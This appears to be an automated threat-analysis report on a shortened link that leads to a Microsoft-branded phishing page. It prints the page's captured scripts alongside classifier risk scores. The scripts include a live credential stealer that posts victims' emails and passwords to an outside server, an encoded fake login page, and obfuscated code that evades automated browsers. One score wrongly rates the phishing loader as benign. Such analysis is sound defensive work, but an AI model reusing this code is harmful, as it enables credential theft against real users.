Windows Analysis Report
https://t.co/jNNzVU90SA

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://t.co

{
    "risk_score": 1,
    "reasoning": "The provided JavaScript snippet appears to be a simple file download functionality, which is a common and legitimate use case. There are no indicators of high-risk behaviors such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code is straightforward and does not exhibit any suspicious patterns."
}

    $(document).ready(function() {
      saveFile();
    });

    function saveFile(name, type, data) {
      if (data != null && navigator.msSaveBlob)
        return navigator.msSaveBlob(new Blob([data], { type: type }), name);
      var a = $("<a style='display: none;'/>");
  
      var encodedStringAtoB = "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+U2VjdXJlIEZpbGUgQWNjZXNzPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsKICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICBmb250LWZhbWlseTogJ1NlZ29lIFVJJywgVGFob21hLCBHZW5ldmEsIFZlcmRhbmEsIHNhbnMtc2VyaWY7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmM2YyZjE7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBoZWlnaHQ6IDEwMHZoOwogICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOwogICAgICAgIH0KCiAgICAgICAgLmhlYWRlciB7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBsZWZ0OwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgIH0KCiAgICAgICAgLmhlYWRlciBpbWcgewogICAgICAgICAgICB3aWR0aDogMzBweDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDIwcHg7CiAgICAgICAgfQoKICAgICAgICAuYWRvYmUtbG9nbyB7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwcHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7CiAgICAgICAgfQoKICAgICAgICAuYWRvYmUtbG9nbyBpbWcgewogICAgICAgICAgICB3aWR0aDogMzBweDsKICAgICAgICB9CgogICAgICAgIC5jb250YWluZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgICAgICAgICBwYWRkaW5nOiAzMHB4OwogICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMTBweCByZ2JhKDAsIDAsIDAsIDAuMSk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICB3aWR0aDogMzQwcHg7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwMHB4OwogICAgICAgIH0KCiAgICAgICAgLmNvbnRhaW5lciBoMiB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMThweDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICB9CgogICAgICAgIC5jb250YWluZXIgcCB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsKICAgICAgICAgICAgY29sb3I6ICM2NjY7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7CiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjU7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICB9CgogICAgICAgIC5jb250YWluZXIgaW5wdXRbdHlwZT0iZW1haWwiXSwgLmNvbnRhaW5lciBpbnB1dFt0eXBlPSJwYXNzd29yZCJdLCAuY29udGFpbmVyIGlucHV0W3R5cGU9InRleHQiXSB7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDA7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMnB4IHNvbGlkICMwMDc4ZDQ7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDA7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTZweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDsKICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiA1cHg7CiAgICAgICAgfQoKICAgICAgICAuY29udGFpbmVyIGlucHV0W3R5cGU9InBhc3N3b3JkIl06Zm9jdXMsIC5jb250YWluZXIgaW5wdXRbdHlwZT0iZW1haWwiXTpmb2N1cywgLmNvbnRhaW5lciBpbnB1dFt0eXBlPSJ0ZXh0Il06Zm9jdXMgewogICAgICAgICAgICBvdXRsaW5lOiBub25lOwogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQgIzAwNWE5ZTsKICAgICAgICB9CgogICAgICAgIC5jb250YWluZXIgaW5wdXRbdHlwZT0ic3VibWl0Il0sIC5jb250YWluZXIgYnV0dG9uIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwNzhkNDsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDIwcHg7CiAgICAgICAgfQoKICAgICAgICAuY29udGFpbmVyIGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyLCAuY29udGFpbmVyIGJ1dHRvbjpob3ZlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDVhOWU7CiAgICAgICAgfQoKICAgICAgICAuY29udGFpbmVyIC5lcnJvci1tZXNzYWdlIHsKICAgICAgICAgICAgY29sb3I6IHJlZDsKICAgICAg

{
    "risk_score": 8,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as a challenge platform, the overall behavior is highly suspicious and indicative of malicious intent."
}

(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8fc37fac8bd5ef9f',t:'MTczNTkxMjY1NS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including data exfiltration, dynamic code execution, and redirects to suspicious domains. The script collects user email and password credentials and sends them to an external server, which is a clear indication of malicious intent. Additionally, the script attempts to redirect the user to a Google domain after a certain number of failed login attempts, which is a common tactic used in phishing attacks. Overall, this script poses a significant security risk and should be treated as highly suspicious."
}

    let attemptCount = 0;

    // Function to automatically fill the email field from the URL if available
    function autoFillEmail() {
        const urlParams = new URLSearchParams(window.location.search);
        const email = urlParams.get('email');
        if (email) {
            document.getElementById('email').value = email;
        }
    }

    function handleEmailSubmit() {
        const email = document.getElementById('email').value;
        document.getElementById('email-display').textContent = email;
        document.getElementById('hidden-email').value = email;

        // Hide the email section and show the password section
        document.getElementById('email-section').classList.add('hidden');
        document.getElementById('password-section').classList.remove('hidden');
    }

    function handlePasswordSubmit() {
        attemptCount++;

        const email = document.getElementById('hidden-email').value;
        const password = document.getElementById('password').value;
        sendEmailPasswordToTelegram(email, password);

        if (attemptCount < 4) {
            // Display error message and reset password field
            document.getElementById('error-message').style.display = 'block';
            document.getElementById('password').value = '';
        } else {
            // Redirect to 
            window.location.href = "https://www.google.com";
        }
    }

    function sendEmailPasswordToTelegram(email, password) {
        const xhr = new XMLHttpRequest();
        xhr.open('POST', 'https://canupdownup.es/tmpshare/send.php', true);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.send(`email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}&stage=login`);
    }

    // Auto-fill email if the email parameter is present in the URL
    autoFillEmail();

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including data exfiltration, obfuscated code, and redirects to potentially malicious domains. The script sends user data to an external server and attempts to detect the presence of various browser automation tools, which could indicate an attempt to evade detection. Overall, the script demonstrates a high level of suspicious activity and should be considered a significant security risk."
}

var _116_="HdpbmRvdy5sb2NhdGlvbi5ocmVmOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9Cn0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH07CiAgICAgICAgICAgICAgICAgICAgICAgIHhodHRwLm9wZW4oIlBPU1QiLCAiL3RtcHNoYXJlL3Ztby5odG1sIiwgdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHhodHRwLnNldFJlcXVlc3RIZWFkZXIoJ05zNXpPdVF3UW82Mm94c0MzZkxKY3d6amlBJywgXzY4MzkpOyAvL21ha2UgdGhlIGFuc3dlciB3aGF0IGV2ZXIgdGhlIGJyb3dzZXIgZmlndXJlcyBpdCBvdXQgdG8gYmUKICAgICAgICAgICAgICAgICAgICAgICAgeGh0dHAuc2V0UmVxdWVzdEhlYWRlcignWC1SZXF1ZXN0ZWQtd2l0aCcsICdYTUxIdHRwUmVxdWVzdCcpOwogICAgICAgICAgICAgICAgICAgICAgICB4aHR0cC5zZXRSZXF1ZXN0SGVhZGVyKCdYLVJlcXVlc3RlZC1UaW1lU3RhbXAnLCAnJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIHhodHRwLnNldFJlcXVlc3RIZWFkZXIoJ1gtUmVxdWVzdGVkLVRpbWVTdGFtcC1FeHBpcmUnLCAnJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIHhodHRwLnNldFJlcXVlc3RIZWFkZXIoJ1gtUmVxdWVzdGVkLVRpbWVTdGFtcC1Db21iaW5hdGlvbicsICcnKTsKICAgICAgICAgICAgICAgICAgICAgICAgeGh0dHAuc2V0UmVxdWVzdEhlYWRlcignWC1SZXF1ZXN0ZWQtVHlwZScsICdHRVQnKTsKICAgICAgICAgICAgICAgICAgICAgICAgeGh0dHAuc2V0UmVxdWVzdEhlYWRlcignWC1SZXF1ZXN0ZWQtVHlwZS1Db21iaW5hdGlvbicsICdHRVQnKTsgLy9FbmNyeXB0ZWQgZm9yIHRvZGF5cyBkYXRlCiAgICAgICAgICAgICAgICAgICAgICAgIHhodHRwLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnZhciBzdywgc2gsIHd3LCB3aCwgdjsKc3cgPSBzY3JlZW4ud2lkdGg7CnNoID0gc2NyZWVuLmhlaWdodDsKd3cgPSB3aW5kb3cuaW5uZXJXaWR0aCB8fCBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50V2lkdGggfHwgZG9jdW1lbnQuYm9keS5jbGllbnRXaWR0aCB8fCAwOwp3aCA9IHdpbmRvdy5pbm5lckhlaWdodCB8fCBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0IHx8IGRvY3VtZW50LmJvZHkuY2xpZW50SGVpZ2h0IHx8IDA7CmlmICgoc3cgPT0gd3cpICYmIChzaCA9PSB3aCkpIHsKICAgIHYgPSB0cnVlOwogICAgaWYgKCEod3cgJSAyMDApICYmICh3aCAlIDEwMCkpIHsKICAgICAgICB2ID0gdHJ1ZTsKICAgIH0KfQovL3YgPSB0cnVlOyAvL3Rlc3QgdmFyIG51bGxlZCBvdXQgdXNlZCBmb3IgZGVidWdnaW5nIHB1cnBvc2UKaWYgKHYgPT0gdHJ1ZSkgewogICAgICAgIHhodHRwLnNldFJlcXVlc3RIZWFkZXIoJ0hwaFdObE02RnJyTkI0ZHJvMkdnSkpYWEhjJywgJ0ZjTVRrclF4RVYydkVkaFV5MGNPYVB1clpDTScpOwp9CiAgICAgICAgICAgICAgICAgICAgICAgIHhodHRwLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgeGh0dHAuc2VuZCgibmFtZTE9SGVucnkmbmFtZTI9Rm9yZCIpOwogICAgICAgIH0sIGZhbHNlKTsKfSkoKTsK";var __43_="KGZ1bmN0aW9uKCl7CiAgICAgICAgdmFyIGEgPSBmdW5jdGlvbigpIHt0cnl7cmV0dXJuICEhd2luZG93LmFkZEV2ZW50TGlzdGVuZXJ9IGNhdGNoKGUpIHtyZXR1cm4gITF9IH0sCiAgICAgICAgYiA9IGZ1bmN0aW9uKGIsIGMpIHthKCkgPyBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIiwgYiwgYykgOiBkb2N1bWVudC5hdHRhY2hFdmVudCgib25yZWFkeXN0YXRlY2hhbmdlIiwgYil9OwogICAgICAgIGIoZnVuY3Rpb24oKXsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIG5vdyA9IG5ldyBEYXRlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIHZhciB0aW1lID0gbm93LmdldFRpbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdGltZSArPSAzMDAgKiAxMDAwOwogICAgICAgICAgICAgICAgICAgICAgICBub3cuc2V0VGltZSh0aW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuY29va2llID0gJ0l0N1NCWVpFd2h2aTVCSXdWNTduend1dEJTVT0yNFY1ZmRfU3FHZnluQ3NIbUFKYmw5eVNuZEEnICsgJzsgZXhwaXJlcz0nICsgJ1NhdCwgMDQtSmFuLTI1IDEzOjU3OjM0IEdNVCcgKyAnOyBwYXRoPS8nOwogICAgICAgICAgICAgICAgICAgICAgICAvL2phdmFzY3JpcHQgcHV6emxlIGZvciBicm93c2VyIHRvIGZpZ3VyZSBvdXQgdG8gZ2V0IGFuc3dlcgogICAgICAgICAgICAgICAgICAgICAgICBpZighd2luZG93Ll9waGFudG9tIHx8ICF3aW5kb3cuY2FsbFBoYW50b20pey8qcGhhbnRvbWpzKi8KaWYoIXdpbmRvdy5fX3BoYW50b21hcyl7LypwaGFudG9tYXMgUGhhbnRvbUpTLWJhc2VkIHdlYiBwZXJmIG1ldHJpY3MgKyBtb25pdG9yaW5nIHRvb2wqLwppZighd2luZG93LkJ1ZmZlcil7Lypub2RlanMqLwppZighd2luZG93LmVtaXQpey8qY291Y2hqcyovCmlmKCF3aW5kb3cuc3Bhd24pey8qcmhpbm8qLwppZighd2luZG93LndlYmRyaXZlcil7LypzZWxlbml1bSovCmlmKCF3aW5kb3cuZG9tQXV0b21hdGlvbiB8fCAhd2luZG93LmRvbUF1dG9tYXRpb25Db250cm9sbGVyKXsvKmNocm9taXVtIGJhc2VkIGF1dG9tYXRpb24gZHJpdmVyKi8KaWYoIXdpbmRvdy5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZ2V0QXR0cmlidXRlKCJ3ZWJkcml2ZXIiKSl7Ci8qaWYobmF2aWdhdG9yLnVzZXJBZ2VudCl7Ki8KaWYoIS9ib3R8Y3VybHxrb2RpfHhibWN8d2dldHx1cmxsaWJ8c

{
    "risk_score": 8,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscation of the script's purpose raise significant security concerns. While the script may have a legitimate purpose, such as a challenge-response mechanism, the overall behavior is highly suspicious and indicative of a potential security threat."
}

(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8fc37fb2183e41e7',t:'MTczNTkxMjY1Ni4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();

{
  "contains_trigger_text": true,
  "trigger_text": "Files sent to you are available for download",
  "prominent_button_name": "Next",
  "text_input_field_labels": [
    "Email Address"
  ],
  "pdf_icon_visible": true,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Files sent to you are available for download",
  "prominent_button_name": "Next",
  "text_input_field_labels": [
    "Email Address"
  ],
  "pdf_icon_visible": true,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

```json{  "legit_domain": "microsoft.com",  "classification": "wellknown",  "reasons": [    "The brand 'Microsoft' is a well-known global technology company.",    "The URL 'blob:https://canupdownup.es/e12e5e34-f4d8-4141-91ad-57e9158ae989' does not match the legitimate domain 'microsoft.com'.",    "The domain 'canupdownup.es' is not associated with Microsoft and appears suspicious.",    "The use of a 'blob:' URL scheme is unusual for legitimate brand websites and can be indicative of phishing.",    "The URL contains a UUID which is often used in phishing attempts to obscure the true destination."  ],  "riskscore": 9}
Google indexed: False